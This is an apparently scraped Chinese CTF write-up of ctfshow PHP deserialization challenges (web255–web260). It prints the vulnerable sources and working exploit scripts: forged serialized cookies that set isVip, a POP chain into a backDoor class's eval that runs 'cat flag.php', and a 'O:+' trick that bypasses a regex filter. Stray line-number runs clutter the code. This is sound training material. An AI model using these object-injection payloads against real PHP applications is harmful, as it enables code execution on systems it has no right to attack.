if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
分析:此题和上题目代码差不多,unserialize($_COOKIE['user']) 再加一个 user 参数
payload:
<?php
class ctfShowUser{
public $username="xxxxx";
public $password="xxxxx";
public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
echo serialize($c);
?>
2
3
4
5
6
7
8
9
10
11
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
O:11:"ctfShowUser":3:{s:8:"username";s:5:"xxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}
2
get:?username=xxxxx&password=xxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
2

# 15.题目15
# web256.php
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password) {
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
此题在前面的基础上添加了 if($this->username!==$this->password) ,要求 username 和 password 不相等。
payload:
<?php
class ctfShowUser{
public $username="xxxxx";
public $password="cc";
public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
// echo serialize($c);
?>
2
3
4
5
6
7
8
9
10


# 16.题目16
# web257.php
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxx';
private $password='xxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
有3个类:ctfShowUser、info、backDoor
其中 backDoor 类中 getInfo() 函数中的 eval() 函数可以作为pop链终点,执行任意命令。
要执行 eval($this->code) ,可以给code赋值为执行任意代码的值。且需要调用 backDoor 的 getInfo() 方法。找到了 ctfShowUser 类的 destruct() 方法可以调用到他。我们就需要让 $this->class 为 backDoor 类的对象就可以了。
<?php class ctfShowUser{ public $class; public function __construct(){ $this->class=new backDoor();//改写属性,让其构造危险实例 } } class backDoor{ public $code='cat flag.php';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数 } $c=new ctfShowUser(); echo urlencode(serialize($c)); ?>1
2
3
4
5
6
7
8
9
10
11
12
13
# 17.题目17
# web258.php
<?php
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])) {
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
preg_match('/[oc]:\d+:/i', $_COOKIE['user']) 表示user不能有 o:数字:或者c:数字:,并且不论o或c是大小写都匹配 如果O:或C:后面不跟数字的话就可以把这个绕过去了 可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的1
2
3
4
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();//改写属性,让其构造危险实例
}
}
class backDoor{
public $code='phpinfo();';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>
2
3
4
5
6
7
8
9
10
11
12
13
序列化后得到
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}1这里把O:后面加上一个加号
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}} 之后再url编码再使用1
2
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:8:"tac flag";}}

# 18.题目18
# web260.php
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))) {
echo $flag;
}
2
3
4
5
6
7
8
preg_match(): 表示序列化后的字符串满足 ctfshow_i_love_36D ,会返回 $flag 的值。

字符串逃逸:
https://www.cnblogs.com/M0urn/articles/17761214.html (opens new window)
参考链接:
https://blog.csdn.net/m0_74013288/article/details/134360039 (opens new window)